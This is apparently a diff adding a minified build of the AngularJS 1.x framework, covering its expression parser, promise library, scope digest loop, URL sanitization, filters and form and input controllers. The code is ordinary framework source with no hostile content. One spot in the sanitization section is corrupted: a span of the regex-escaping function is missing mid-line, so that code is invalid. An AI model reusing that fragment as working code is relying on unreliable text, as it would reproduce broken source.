a.expensiveChecks, + e = d ? Be : Ce; + if (e.hasOwnProperty(b)) return e[b]; + var f = b.split("."), + g = f.length, + h; + if (a.csp) + h = + 6 > g + ? Cc(f[0], f[1], f[2], f[3], f[4], c, a) + : function (b, d) { + var e = 0, + h; + do + (h = Cc(f[e++], f[e++], f[e++], f[e++], f[e++], c, a)(b, d)), + (d = u), + (b = h); + while (e < g); + return h; + }; + else { + var k = "var p;\n"; + d && (k += "s = eso(s, fe);\nl = eso(l, fe);\n"); + var m = d; + r(f, function (b, e) { + ka(b, c); + var f = + (e ? "s" : '((l&&l.hasOwnProperty("' + b + '"))?l:s)') + + '["' + + b + + '"]', + g = d || Qa(b); + g && ((f = "eso(" + f + ", fe)"), (m = !0)); + k += "if(s == null) return undefined;\ns=" + f + ";\n"; + a.unwrapPromises && + (k += + 'if (s && s.then) {\n pw("' + + c.replace(/(["\r\n])/g, "\\$1") + + '");\n if (!("$$v" in s)) {\n p=s;\n p.$$v = undefined;\n p.then(function(v) {p.$$v=' + + (g ? "eso(v)" : "v") + + ";});\n}\n s=" + + (g ? "eso(s.$$v)" : "s.$$v") + + "\n}\n"); + }); + k += "return s;"; + h = new Function("s", "l", "pw", "eso", "fe", k); + h.toString = aa(k); + if (m || a.unwrapPromises) h = Ae(h, c); + } + "hasOwnProperty" !== b && (e[b] = h); + return h; + } + function Xd() { + var b = {}, + a = {}, + c = { + csp: !1, + unwrapPromises: !1, + logPromiseWarnings: !0, + expensiveChecks: !1, + }; + this.unwrapPromises = function (a) { + return D(a) ? ((c.unwrapPromises = !!a), this) : c.unwrapPromises; + }; + this.logPromiseWarnings = function (a) { + return D(a) ? ((c.logPromiseWarnings = a), this) : c.logPromiseWarnings; + }; + this.$get = [ + "$filter", + "$sniffer", + "$log", + function (d, e, f) { + c.csp = e.csp; + var g = { + csp: c.csp, + unwrapPromises: c.unwrapPromises, + logPromiseWarnings: c.logPromiseWarnings, + expensiveChecks: !0, + }; + ya = function (a) { + c.logPromiseWarnings && + !Ec.hasOwnProperty(a) && + ((Ec[a] = !0), + f.warn( + "[$parse] Promise found in the expression `" + + a + + "`. Automatic unwrapping of promises in Angular expressions is deprecated." + )); + }; + return function (e, f) { + var m; + switch (typeof e) { + case "string": + var l = f ? a : b; + if (l.hasOwnProperty(e)) return l[e]; + m = f ? g : c; + var n = new Ub(m); + m = new gb(n, d, m).parse(e); + "hasOwnProperty" !== e && (l[e] = m); + return m; + case "function": + return e; + default: + return v; + } + }; + }, + ]; + } + function Zd() { + this.$get = [ + "$rootScope", + "$exceptionHandler", + function (b, a) { + return De(function (a) { + b.$evalAsync(a); + }, a); + }, + ]; + } + function De(b, a) { + function c(a) { + return a; + } + function d(a) { + return g(a); + } + var e = function () { + var g = [], + m, + l; + return (l = { + resolve: function (a) { + if (g) { + var c = g; + g = u; + m = f(a); + c.length && + b(function () { + for (var a, b = 0, d = c.length; b < d; b++) + (a = c[b]), m.then(a[0], a[1], a[2]); + }); + } + }, + reject: function (a) { + l.resolve(h(a)); + }, + notify: function (a) { + if (g) { + var c = g; + g.length && + b(function () { + for (var b, d = 0, e = c.length; d < e; d++) + (b = c[d]), b[2](a); + }); + } + }, + promise: { + then: function (b, f, h) { + var l = e(), + J = function (d) { + try { + l.resolve((N(b) ? b : c)(d)); + } catch (e) { + l.reject(e), a(e); + } + }, + w = function (b) { + try { + l.resolve((N(f) ? f : d)(b)); + } catch (c) { + l.reject(c), a(c); + } + }, + t = function (b) { + try { + l.notify((N(h) ? h : c)(b)); + } catch (d) { + a(d); + } + }; + g ? g.push([J, w, t]) : m.then(J, w, t); + return l.promise; + }, + catch: function (a) { + return this.then(null, a); + }, + finally: function (a) { + function b(a, c) { + var d = e(); + c ? d.resolve(a) : d.reject(a); + return d.promise; + } + function d(e, f) { + var g = null; + try { + g = (a || c)(); + } catch (h) { + return b(h, !1); + } + return g && N(g.then) + ? g.then( + function () { + return b(e, f); + }, + function (a) { + return b(a, !1); + } + ) + : b(e, f); + } + return this.then( + function (a) { + return d(a, !0); + }, + function (a) { + return d(a, !1); + } + ); + }, + }, + }); + }, + f = function (a) { + return a && N(a.then) + ? a + : { + then: function (c) { + var d = e(); + b(function () { + d.resolve(c(a)); + }); + return d.promise; + }, + }; + }, + g = function (a) { + var b = e(); + b.reject(a); + return b.promise; + }, + h = function (c) { + return { + then: function (f, g) { + var h = e(); + b(function () { + try { + h.resolve((N(g) ? g : d)(c)); + } catch (b) { + h.reject(b), a(b); + } + }); + return h.promise; + }, + }; + }; + return { + defer: e, + reject: g, + when: function (h, m, l, n) { + var q = e(), + p, + s = function (b) { + try { + return (N(m) ? m : c)(b); + } catch (d) { + return a(d), g(d); + } + }, + J = function (b) { + try { + return (N(l) ? l : d)(b); + } catch (c) { + return a(c), g(c); + } + }, + w = function (b) { + try { + return (N(n) ? n : c)(b); + } catch (d) { + a(d); + } + }; + b(function () { + f(h).then( + function (a) { + p || ((p = !0), q.resolve(f(a).then(s, J, w))); + }, + function (a) { + p || ((p = !0), q.resolve(J(a))); + }, + function (a) { + p || q.notify(w(a)); + } + ); + }); + return q.promise; + }, + all: function (a) { + var b = e(), + c = 0, + d = L(a) ? [] : {}; + r(a, function (a, e) { + c++; + f(a).then( + function (a) { + d.hasOwnProperty(e) || ((d[e] = a), --c || b.resolve(d)); + }, + function (a) { + d.hasOwnProperty(e) || b.reject(a); + } + ); + }); + 0 === c && b.resolve(d); + return b.promise; + }, + }; + } + function fe() { + this.$get = [ + "$window", + "$timeout", + function (b, a) { + var c = + b.requestAnimationFrame || + b.webkitRequestAnimationFrame || + b.mozRequestAnimationFrame, + d = + b.cancelAnimationFrame || + b.webkitCancelAnimationFrame || + b.mozCancelAnimationFrame || + b.webkitCancelRequestAnimationFrame, + e = !!c, + f = e + ? function (a) { + var b = c(a); + return function () { + d(b); + }; + } + : function (b) { + var c = a(b, 16.66, !1); + return function () { + a.cancel(c); + }; + }; + f.supported = e; + return f; + }, + ]; + } + function Yd() { + var b = 10, + a = z("$rootScope"), + c = null; + this.digestTtl = function (a) { + arguments.length && (b = a); + return b; + }; + this.$get = [ + "$injector", + "$exceptionHandler", + "$parse", + "$browser", + function (d, e, f, g) { + function h() { + this.$id = ib(); + this.$$phase = + this.$parent = + this.$$watchers = + this.$$nextSibling = + this.$$prevSibling = + this.$$childHead = + this.$$childTail = + null; + this["this"] = this.$root = this; + this.$$destroyed = !1; + this.$$asyncQueue = []; + this.$$postDigestQueue = []; + this.$$listeners = {}; + this.$$listenerCount = {}; + this.$$isolateBindings = {}; + } + function k(b) { + if (q.$$phase) throw a("inprog", q.$$phase); + q.$$phase = b; + } + function m(a, b) { + var c = f(a); + Ya(c, b); + return c; + } + function l(a, b, c) { + do + (a.$$listenerCount[c] -= b), + 0 === a.$$listenerCount[c] && delete a.$$listenerCount[c]; + while ((a = a.$parent)); + } + function n() {} + h.prototype = { + constructor: h, + $new: function (a) { + a + ? ((a = new h()), + (a.$root = this.$root), + (a.$$asyncQueue = this.$$asyncQueue), + (a.$$postDigestQueue = this.$$postDigestQueue)) + : (this.$$childScopeClass || + ((this.$$childScopeClass = function () { + this.$$watchers = + this.$$nextSibling = + this.$$childHead = + this.$$childTail = + null; + this.$$listeners = {}; + this.$$listenerCount = {}; + this.$id = ib(); + this.$$childScopeClass = null; + }), + (this.$$childScopeClass.prototype = this)), + (a = new this.$$childScopeClass())); + a["this"] = a; + a.$parent = this; + a.$$prevSibling = this.$$childTail; + this.$$childHead + ? (this.$$childTail = this.$$childTail.$$nextSibling = a) + : (this.$$childHead = this.$$childTail = a); + return a; + }, + $watch: function (a, b, d) { + var e = m(a, "watch"), + f = this.$$watchers, + g = { fn: b, last: n, get: e, exp: a, eq: !!d }; + c = null; + if (!N(b)) { + var h = m(b || v, "listener"); + g.fn = function (a, b, c) { + h(c); + }; + } + if ("string" == typeof a && e.constant) { + var k = g.fn; + g.fn = function (a, b, c) { + k.call(this, a, b, c); + Ua(f, g); + }; + } + f || (f = this.$$watchers = []); + f.unshift(g); + return function () { + Ua(f, g); + c = null; + }; + }, + $watchCollection: function (a, b) { + var c = this, + d, + e, + g, + h = 1 < b.length, + k = 0, + l = f(a), + m = [], + n = {}, + q = !0, + r = 0; + return this.$watch( + function () { + d = l(c); + var a, b, f; + if (T(d)) + if (Sa(d)) + for ( + e !== m && ((e = m), (r = e.length = 0), k++), + a = d.length, + r !== a && (k++, (e.length = r = a)), + b = 0; + b < a; + b++ + ) + (f = e[b] !== e[b] && d[b] !== d[b]), + f || e[b] === d[b] || (k++, (e[b] = d[b])); + else { + e !== n && ((e = n = {}), (r = 0), k++); + a = 0; + for (b in d) + d.hasOwnProperty(b) && + (a++, + e.hasOwnProperty(b) + ? ((f = e[b] !== e[b] && d[b] !== d[b]), + f || e[b] === d[b] || (k++, (e[b] = d[b]))) + : (r++, (e[b] = d[b]), k++)); + if (r > a) + for (b in (k++, e)) + e.hasOwnProperty(b) && + !d.hasOwnProperty(b) && + (r--, delete e[b]); + } + else e !== d && ((e = d), k++); + return k; + }, + function () { + q ? ((q = !1), b(d, d, c)) : b(d, g, c); + if (h) + if (T(d)) + if (Sa(d)) { + g = Array(d.length); + for (var a = 0; a < d.length; a++) g[a] = d[a]; + } else + for (a in ((g = {}), d)) lb.call(d, a) && (g[a] = d[a]); + else g = d; + } + ); + }, + $digest: function () { + var d, + f, + h, + l, + m = this.$$asyncQueue, + r = this.$$postDigestQueue, + K, + B, + u = b, + O, + M = [], + A, + P, + C; + k("$digest"); + g.$$checkUrlChange(); + c = null; + do { + B = !1; + for (O = this; m.length; ) { + try { + (C = m.shift()), C.scope.$eval(C.expression); + } catch (I) { + (q.$$phase = null), e(I); + } + c = null; + } + a: do { + if ((l = O.$$watchers)) + for (K = l.length; K--; ) + try { + if ((d = l[K])) + if ( + (f = d.get(O)) !== (h = d.last) && + !(d.eq + ? Ca(f, h) + : "number" === typeof f && + "number" === typeof h && + isNaN(f) && + isNaN(h)) + ) + (B = !0), + (c = d), + (d.last = d.eq ? Ka(f, null) : f), + d.fn(f, h === n ? f : h, O), + 5 > u && + ((A = 4 - u), + M[A] || (M[A] = []), + (P = N(d.exp) + ? "fn: " + (d.exp.name || d.exp.toString()) + : d.exp), + (P += + "; newVal: " + oa(f) + "; oldVal: " + oa(h)), + M[A].push(P)); + else if (d === c) { + B = !1; + break a; + } + } catch (D) { + (q.$$phase = null), e(D); + } + if (!(l = O.$$childHead || (O !== this && O.$$nextSibling))) + for (; O !== this && !(l = O.$$nextSibling); ) O = O.$parent; + } while ((O = l)); + if ((B || m.length) && !u--) + throw ((q.$$phase = null), a("infdig", b, oa(M))); + } while (B || m.length); + for (q.$$phase = null; r.length; ) + try { + r.shift()(); + } catch (x) { + e(x); + } + }, + $destroy: function () { + if (!this.$$destroyed) { + var a = this.$parent; + this.$broadcast("$destroy"); + this.$$destroyed = !0; + this !== q && + (r(this.$$listenerCount, Bb(null, l, this)), + a.$$childHead == this && (a.$$childHead = this.$$nextSibling), + a.$$childTail == this && (a.$$childTail = this.$$prevSibling), + this.$$prevSibling && + (this.$$prevSibling.$$nextSibling = this.$$nextSibling), + this.$$nextSibling && + (this.$$nextSibling.$$prevSibling = this.$$prevSibling), + (this.$parent = + this.$$nextSibling = + this.$$prevSibling = + this.$$childHead = + this.$$childTail = + this.$root = + null), + (this.$$listeners = {}), + (this.$$watchers = + this.$$asyncQueue = + this.$$postDigestQueue = + []), + (this.$destroy = this.$digest = this.$apply = v), + (this.$on = this.$watch = + function () { + return v; + })); + } + }, + $eval: function (a, b) { + return f(a)(this, b); + }, + $evalAsync: function (a) { + q.$$phase || + q.$$asyncQueue.length || + g.defer(function () { + q.$$asyncQueue.length && q.$digest(); + }); + this.$$asyncQueue.push({ scope: this, expression: a }); + }, + $$postDigest: function (a) { + this.$$postDigestQueue.push(a); + }, + $apply: function (a) { + try { + return k("$apply"), this.$eval(a); + } catch (b) { + e(b); + } finally { + q.$$phase = null; + try { + q.$digest(); + } catch (c) { + throw (e(c), c); + } + } + }, + $on: function (a, b) { + var c = this.$$listeners[a]; + c || (this.$$listeners[a] = c = []); + c.push(b); + var d = this; + do + d.$$listenerCount[a] || (d.$$listenerCount[a] = 0), + d.$$listenerCount[a]++; + while ((d = d.$parent)); + var e = this; + return function () { + var d = Ta(c, b); + -1 !== d && ((c[d] = null), l(e, 1, a)); + }; + }, + $emit: function (a, b) { + var c = [], + d, + f = this, + g = !1, + h = { + name: a, + targetScope: f, + stopPropagation: function () { + g = !0; + }, + preventDefault: function () { + h.defaultPrevented = !0; + }, + defaultPrevented: !1, + }, + k = [h].concat(wa.call(arguments, 1)), + l, + m; + do { + d = f.$$listeners[a] || c; + h.currentScope = f; + l = 0; + for (m = d.length; l < m; l++) + if (d[l]) + try { + d[l].apply(null, k); + } catch (n) { + e(n); + } + else d.splice(l, 1), l--, m--; + if (g) break; + f = f.$parent; + } while (f); + return h; + }, + $broadcast: function (a, b) { + for ( + var c = this, + d = this, + f = { + name: a, + targetScope: this, + preventDefault: function () { + f.defaultPrevented = !0; + }, + defaultPrevented: !1, + }, + g = [f].concat(wa.call(arguments, 1)), + h, + k; + (c = d); + + ) { + f.currentScope = c; + d = c.$$listeners[a] || []; + h = 0; + for (k = d.length; h < k; h++) + if (d[h]) + try { + d[h].apply(null, g); + } catch (l) { + e(l); + } + else d.splice(h, 1), h--, k--; + if ( + !(d = + (c.$$listenerCount[a] && c.$$childHead) || + (c !== this && c.$$nextSibling)) + ) + for (; c !== this && !(d = c.$$nextSibling); ) c = c.$parent; + } + return f; + }, + }; + var q = new h(); + return q; + }, + ]; + } + function bd() { + var b = /^\s*(https?|ftp|mailto|tel|file):/, + a = /^\s*((https?|ftp|file):|data:image\/)/; + this.aHrefSanitizationWhitelist = function (a) { + return D(a) ? ((b = a), this) : b; + }; + this.imgSrcSanitizationWhitelist = function (b) { + return D(b) ? ((a = b), this) : a; + }; + this.$get = function () { + return function (c, d) { + var e = d ? a : b, + f; + if (!R || 8 <= R) + if (((f = xa(c).href), "" !== f && !f.match(e))) return "unsafe:" + f; + return c; + }; + }; + } + function Ee(b) { + if ("self" === b) return b; + if (G(b)) { + if (-1 < b.indexOf("***")) throw za("iwcard", b); + b = b + .replace(/([-()\[\]{}+?*.$\^|,:# c.msieDocumentMode) throw za("iequirks"); + var e = ha(fa); + e.isEnabled = function () { + return b; + }; + e.trustAs = d.trustAs; + e.getTrusted = d.getTrusted; + e.valueOf = d.valueOf; + b || + ((e.trustAs = e.getTrusted = + function (a, b) { + return b; + }), + (e.valueOf = ga)); + e.parseAs = function (b, c) { + var d = a(c); + return d.literal && d.constant + ? d + : function (a, c) { + return e.getTrusted(b, d(a, c)); + }; + }; + var f = e.parseAs, + g = e.getTrusted, + h = e.trustAs; + r(fa, function (a, b) { + var c = x(b); + e[ab("parse_as_" + c)] = function (b) { + return f(a, b); + }; + e[ab("get_trusted_" + c)] = function (b) { + return g(a, b); + }; + e[ab("trust_as_" + c)] = function (b) { + return h(a, b); + }; + }); + return e; + }, + ]; + } + function be() { + this.$get = [ + "$window", + "$document", + function (b, a) { + var c = {}, + d = U( + (/android (\d+)/.exec(x((b.navigator || {}).userAgent)) || [])[1] + ), + e = /Boxee/i.test((b.navigator || {}).userAgent), + f = a[0] || {}, + g = f.documentMode, + h, + k = /^(Moz|webkit|O|ms)(?=[A-Z])/, + m = f.body && f.body.style, + l = !1, + n = !1; + if (m) { + for (var q in m) + if ((l = k.exec(q))) { + h = l[0]; + h = h.substr(0, 1).toUpperCase() + h.substr(1); + break; + } + h || (h = "WebkitOpacity" in m && "webkit"); + l = !!("transition" in m || h + "Transition" in m); + n = !!("animation" in m || h + "Animation" in m); + !d || + (l && n) || + ((l = G(f.body.style.webkitTransition)), + (n = G(f.body.style.webkitAnimation))); + } + return { + history: !(!b.history || !b.history.pushState || 4 > d || e), + hashchange: "onhashchange" in b && (!g || 7 < g), + hasEvent: function (a) { + if ("input" == a && 9 == R) return !1; + if (F(c[a])) { + var b = f.createElement("div"); + c[a] = "on" + a in b; + } + return c[a]; + }, + csp: Za(), + vendorPrefix: h, + transitions: l, + animations: n, + android: d, + msie: R, + msieDocumentMode: g, + }; + }, + ]; + } + function de() { + this.$get = [ + "$rootScope", + "$browser", + "$q", + "$exceptionHandler", + function (b, a, c, d) { + function e(e, h, k) { + var m = c.defer(), + l = m.promise, + n = D(k) && !k; + h = a.defer(function () { + try { + m.resolve(e()); + } catch (a) { + m.reject(a), d(a); + } finally { + delete f[l.$$timeoutId]; + } + n || b.$apply(); + }, h); + l.$$timeoutId = h; + f[h] = m; + return l; + } + var f = {}; + e.cancel = function (b) { + return b && b.$$timeoutId in f + ? (f[b.$$timeoutId].reject("canceled"), + delete f[b.$$timeoutId], + a.defer.cancel(b.$$timeoutId)) + : !1; + }; + return e; + }, + ]; + } + function xa(b, a) { + var c = b; + R && (Y.setAttribute("href", c), (c = Y.href)); + Y.setAttribute("href", c); + return { + href: Y.href, + protocol: Y.protocol ? Y.protocol.replace(/:$/, "") : "", + host: Y.host, + search: Y.search ? Y.search.replace(/^\?/, "") : "", + hash: Y.hash ? Y.hash.replace(/^#/, "") : "", + hostname: Y.hostname, + port: Y.port, + pathname: "/" === Y.pathname.charAt(0) ? Y.pathname : "/" + Y.pathname, + }; + } + function Pb(b) { + b = G(b) ? xa(b) : b; + return b.protocol === Gc.protocol && b.host === Gc.host; + } + function ee() { + this.$get = aa(W); + } + function kc(b) { + function a(d, e) { + if (T(d)) { + var f = {}; + r(d, function (b, c) { + f[c] = a(c, b); + }); + return f; + } + return b.factory(d + c, e); + } + var c = "Filter"; + this.register = a; + this.$get = [ + "$injector", + function (a) { + return function (b) { + return a.get(b + c); + }; + }, + ]; + a("currency", Hc); + a("date", Ic); + a("filter", Fe); + a("json", Ge); + a("limitTo", He); + a("lowercase", Ie); + a("number", Jc); + a("orderBy", Kc); + a("uppercase", Je); + } + function Fe() { + return function (b, a, c) { + if (!L(b)) return b; + var d = typeof c, + e = []; + e.check = function (a) { + for (var b = 0; b < e.length; b++) if (!e[b](a)) return !1; + return !0; + }; + "function" !== d && + (c = + "boolean" === d && c + ? function (a, b) { + return Xa.equals(a, b); + } + : function (a, b) { + if (a && b && "object" === typeof a && "object" === typeof b) { + for (var d in a) + if ("$" !== d.charAt(0) && lb.call(a, d) && c(a[d], b[d])) + return !0; + return !1; + } + b = ("" + b).toLowerCase(); + return -1 < ("" + a).toLowerCase().indexOf(b); + }); + var f = function (a, b) { + if ("string" === typeof b && "!" === b.charAt(0)) + return !f(a, b.substr(1)); + switch (typeof a) { + case "boolean": + case "number": + case "string": + return c(a, b); + case "object": + switch (typeof b) { + case "object": + return c(a, b); + default: + for (var d in a) + if ("$" !== d.charAt(0) && f(a[d], b)) return !0; + } + return !1; + case "array": + for (d = 0; d < a.length; d++) if (f(a[d], b)) return !0; + return !1; + default: + return !1; + } + }; + switch (typeof a) { + case "boolean": + case "number": + case "string": + a = { $: a }; + case "object": + for (var g in a) + (function (b) { + "undefined" !== typeof a[b] && + e.push(function (c) { + return f("$" == b ? c : c && c[b], a[b]); + }); + })(g); + break; + case "function": + e.push(a); + break; + default: + return b; + } + d = []; + for (g = 0; g < b.length; g++) { + var h = b[g]; + e.check(h) && d.push(h); + } + return d; + }; + } + function Hc(b) { + var a = b.NUMBER_FORMATS; + return function (b, d) { + F(d) && (d = a.CURRENCY_SYM); + return Lc(b, a.PATTERNS[1], a.GROUP_SEP, a.DECIMAL_SEP, 2).replace( + /\u00A4/g, + d + ); + }; + } + function Jc(b) { + var a = b.NUMBER_FORMATS; + return function (b, d) { + return Lc(b, a.PATTERNS[0], a.GROUP_SEP, a.DECIMAL_SEP, d); + }; + } + function Lc(b, a, c, d, e) { + if (null == b || !isFinite(b) || T(b)) return ""; + var f = 0 > b; + b = Math.abs(b); + var g = b + "", + h = "", + k = [], + m = !1; + if (-1 !== g.indexOf("e")) { + var l = g.match(/([\d\.]+)e(-?)(\d+)/); + l && "-" == l[2] && l[3] > e + 1 + ? ((g = "0"), (b = 0)) + : ((h = g), (m = !0)); + } + if (m) 0 < e && -1 < b && 1 > b && (h = b.toFixed(e)); + else { + g = (g.split(Mc)[1] || "").length; + F(e) && (e = Math.min(Math.max(a.minFrac, g), a.maxFrac)); + b = +(Math.round(+(b.toString() + "e" + e)).toString() + "e" + -e); + 0 === b && (f = !1); + b = ("" + b).split(Mc); + g = b[0]; + b = b[1] || ""; + var l = 0, + n = a.lgSize, + q = a.gSize; + if (g.length >= n + q) + for (l = g.length - n, m = 0; m < l; m++) + 0 === (l - m) % q && 0 !== m && (h += c), (h += g.charAt(m)); + for (m = l; m < g.length; m++) + 0 === (g.length - m) % n && 0 !== m && (h += c), (h += g.charAt(m)); + for (; b.length < e; ) b += "0"; + e && "0" !== e && (h += d + b.substr(0, e)); + } + k.push(f ? a.negPre : a.posPre); + k.push(h); + k.push(f ? a.negSuf : a.posSuf); + return k.join(""); + } + function Vb(b, a, c) { + var d = ""; + 0 > b && ((d = "-"), (b = -b)); + for (b = "" + b; b.length < a; ) b = "0" + b; + c && (b = b.substr(b.length - a)); + return d + b; + } + function Z(b, a, c, d) { + c = c || 0; + return function (e) { + e = e["get" + b](); + if (0 < c || e > -c) e += c; + 0 === e && -12 == c && (e = 12); + return Vb(e, a, d); + }; + } + function vb(b, a) { + return function (c, d) { + var e = c["get" + b](), + f = La(a ? "SHORT" + b : b); + return d[f][e]; + }; + } + function Ic(b) { + function a(a) { + var b; + if ((b = a.match(c))) { + a = new Date(0); + var f = 0, + g = 0, + h = b[8] ? a.setUTCFullYear : a.setFullYear, + k = b[8] ? a.setUTCHours : a.setHours; + b[9] && ((f = U(b[9] + b[10])), (g = U(b[9] + b[11]))); + h.call(a, U(b[1]), U(b[2]) - 1, U(b[3])); + f = U(b[4] || 0) - f; + g = U(b[5] || 0) - g; + h = U(b[6] || 0); + b = Math.round(1e3 * parseFloat("0." + (b[7] || 0))); + k.call(a, f, g, h, b); + } + return a; + } + var c = + /^(\d{4})-?(\d\d)-?(\d\d)(?:T(\d\d)(?::?(\d\d)(?::?(\d\d)(?:\.(\d+))?)?)?(Z|([+-])(\d\d):?(\d\d))?)?$/; + return function (c, e) { + var f = "", + g = [], + h, + k; + e = e || "mediumDate"; + e = b.DATETIME_FORMATS[e] || e; + G(c) && (c = Ke.test(c) ? U(c) : a(c)); + jb(c) && (c = new Date(c)); + if (!va(c)) return c; + for (; e; ) + (k = Le.exec(e)) + ? ((g = g.concat(wa.call(k, 1))), (e = g.pop())) + : (g.push(e), (e = null)); + r(g, function (a) { + h = Me[a]; + f += h + ? h(c, b.DATETIME_FORMATS) + : a.replace(/(^'|'$)/g, "").replace(/''/g, "'"); + }); + return f; + }; + } + function Ge() { + return function (b) { + return oa(b, !0); + }; + } + function He() { + return function (b, a) { + if (!L(b) && !G(b)) return b; + a = Infinity === Math.abs(Number(a)) ? Number(a) : U(a); + if (G(b)) return a ? (0 <= a ? b.slice(0, a) : b.slice(a, b.length)) : ""; + var c = [], + d, + e; + a > b.length ? (a = b.length) : a < -b.length && (a = -b.length); + 0 < a ? ((d = 0), (e = a)) : ((d = b.length + a), (e = b.length)); + for (; d < e; d++) c.push(b[d]); + return c; + }; + } + function Kc(b) { + return function (a, c, d) { + function e(a, b) { + return Wa(b) + ? function (b, c) { + return a(c, b); + } + : a; + } + function f(a, b) { + var c = typeof a, + d = typeof b; + return c == d + ? (va(a) && va(b) && ((a = a.valueOf()), (b = b.valueOf())), + "string" == c && ((a = a.toLowerCase()), (b = b.toLowerCase())), + a === b ? 0 : a < b ? -1 : 1) + : c < d + ? -1 + : 1; + } + if (!Sa(a)) return a; + c = L(c) ? c : [c]; + 0 === c.length && (c = ["+"]); + c = Uc(c, function (a) { + var c = !1, + d = a || ga; + if (G(a)) { + if ("+" == a.charAt(0) || "-" == a.charAt(0)) + (c = "-" == a.charAt(0)), (a = a.substring(1)); + if ("" === a) + return e(function (a, b) { + return f(a, b); + }, c); + d = b(a); + if (d.constant) { + var m = d(); + return e(function (a, b) { + return f(a[m], b[m]); + }, c); + } + } + return e(function (a, b) { + return f(d(a), d(b)); + }, c); + }); + return wa.call(a).sort( + e(function (a, b) { + for (var d = 0; d < c.length; d++) { + var e = c[d](a, b); + if (0 !== e) return e; + } + return 0; + }, d) + ); + }; + } + function Aa(b) { + N(b) && (b = { link: b }); + b.restrict = b.restrict || "AC"; + return aa(b); + } + function Nc(b, a, c, d) { + function e(a, c) { + c = c ? "-" + nb(c, "-") : ""; + d.setClass(b, (a ? wb : xb) + c, (a ? xb : wb) + c); + } + var f = this, + g = b.parent().controller("form") || yb, + h = 0, + k = (f.$error = {}), + m = []; + f.$name = a.name || a.ngForm; + f.$dirty = !1; + f.$pristine = !0; + f.$valid = !0; + f.$invalid = !1; + g.$addControl(f); + b.addClass(Ra); + e(!0); + f.$addControl = function (a) { + Ea(a.$name, "input"); + m.push(a); + a.$name && (f[a.$name] = a); + }; + f.$removeControl = function (a) { + a.$name && f[a.$name] === a && delete f[a.$name]; + r(k, function (b, c) { + f.$setValidity(c, !0, a); + }); + Ua(m, a); + }; + f.$setValidity = function (a, b, c) { + var d = k[a]; + if (b) + d && + (Ua(d, c), + d.length || + (h--, + h || (e(b), (f.$valid = !0), (f.$invalid = !1)), + (k[a] = !1), + e(!0, a), + g.$setValidity(a, !0, f))); + else { + h || e(b); + if (d) { + if (-1 != Ta(d, c)) return; + } else (k[a] = d = []), h++, e(!1, a), g.$setValidity(a, !1, f); + d.push(c); + f.$valid = !1; + f.$invalid = !0; + } + }; + f.$setDirty = function () { + d.removeClass(b, Ra); + d.addClass(b, zb); + f.$dirty = !0; + f.$pristine = !1; + g.$setDirty(); + }; + f.$setPristine = function () { + d.removeClass(b, zb); + d.addClass(b, Ra); + f.$dirty = !1; + f.$pristine = !0; + r(m, function (a) { + a.$setPristine(); + }); + }; + } + function ua(b, a, c, d) { + b.$setValidity(a, c); + return c ? d : u; + } + function Oc(b, a) { + var c, d; + if (a) for (c = 0; c < a.length; ++c) if (((d = a[c]), b[d])) return !0; + return !1; + } + function Ne(b, a, c, d, e) { + T(e) && + ((b.$$hasNativeValidators = !0), + b.$parsers.push(function (f) { + if (b.$error[a] || Oc(e, d) || !Oc(e, c)) return f; + b.$setValidity(a, !1); + })); + } + function Ab(b, a, c, d, e, f) { + var g = a.prop(Oe), + h = a[0].placeholder, + k = {}, + m = x(a[0].type); + d.$$validityState = g; + if (!e.android) { + var l = !1; + a.on("compositionstart", function (a) { + l = !0; + }); + a.on("compositionend", function () { + l = !1; + n(); + }); + } + var n = function (e) { + if (!l) { + var f = a.val(); + if (R && "input" === (e || k).type && a[0].placeholder !== h) + h = a[0].placeholder; + else if ( + ("password" !== m && Wa(c.ngTrim || "T") && (f = $(f)), + (e = g && d.$$hasNativeValidators), + d.$viewValue !== f || ("" === f && e)) + ) + b.$root.$$phase + ? d.$setViewValue(f) + : b.$apply(function () { + d.$setViewValue(f); + }); + } + }; + if (e.hasEvent("input")) a.on("input", n); + else { + var q, + p = function () { + q || + (q = f.defer(function () { + n(); + q = null; + })); + }; + a.on("keydown", function (a) { + a = a.keyCode; + 91 === a || (15 < a && 19 > a) || (37 <= a && 40 >= a) || p(); + }); + if (e.hasEvent("paste")) a.on("paste cut", p); + } + a.on("change", n); + d.$render = function () { + a.val(d.$isEmpty(d.$viewValue) ? "" : d.$viewValue); + }; + var s = c.ngPattern; + s && + ((e = s.match(/^\/(.*)\/([gim]*)$/)) + ? ((s = RegExp(e[1], e[2])), + (e = function (a) { + return ua(d, "pattern", d.$isEmpty(a) || s.test(a), a); + })) + : (e = function (c) { + var e = b.$eval(s); + if (!e || !e.test) throw z("ngPattern")("noregexp", s, e, ia(a)); + return ua(d, "pattern", d.$isEmpty(c) || e.test(c), c); + }), + d.$formatters.push(e), + d.$parsers.push(e)); + if (c.ngMinlength) { + var r = U(c.ngMinlength); + e = function (a) { + return ua(d, "minlength", d.$isEmpty(a) || a.length >= r, a); + }; + d.$parsers.push(e); + d.$formatters.push(e); + } + if (c.ngMaxlength) { + var w = U(c.ngMaxlength); + e = function (a) { + return ua(d, "maxlength", d.$isEmpty(a) || a.length <= w, a); + }; + d.$parsers.push(e); + d.$formatters.push(e); + } + } + function Wb(b, a) { + b = "ngClass" + b; + return [ + "$animate", + function (c) { + function d(a, b) { + var c = [], + d = 0; + a: for (; d < a.length; d++) { + for (var e = a[d], l = 0; l < b.length; l++) + if (e == b[l]) continue a; + c.push(e); + } + return c; + } + function e(a) { + if (!L(a)) { + if (G(a)) return a.split(" "); + if (T(a)) { + var b = []; + r(a, function (a, c) { + a && (b = b.concat(c.split(" "))); + }); + return b; + } + } + return a; + } + return { + restrict: "AC", + link: function (f, g, h) { + function k(a, b) { + var c = g.data("$classCounts") || {}, + d = []; + r(a, function (a) { + if (0 < b || c[a]) + (c[a] = (c[a] || 0) + b), c[a] === +(0 < b) && d.push(a); + }); + g.data("$classCounts", c); + return d.join(" "); + } + function m(b) { + if (!0 === a || f.$index % 2 === a) { + var m = e(b || []); + if (!l) { + var p = k(m, 1); + h.$addClass(p); + } else if (!Ca(b, l)) { + var s = e(l), + p = d(m, s), + m = d(s, m), + m = k(m, -1), + p = k(p, 1); + 0 === p.length + ? c.removeClass(g, m) + : 0 === m.length + ? c.addClass(g, p) + : c.setClass(g, p, m); + } + } + l = ha(b); + } + var l; + f.$watch(h[b], m, !0); + h.$observe("class", function (a) { + m(f.$eval(h[b])); + }); + "ngClass" !== b && + f.$watch("$index", function (c, d) { + var g = c & 1; + if (g !== (d & 1)) { + var l = e(f.$eval(h[b])); + g === a + ? ((g = k(l, 1)), h.$addClass(g)) + : 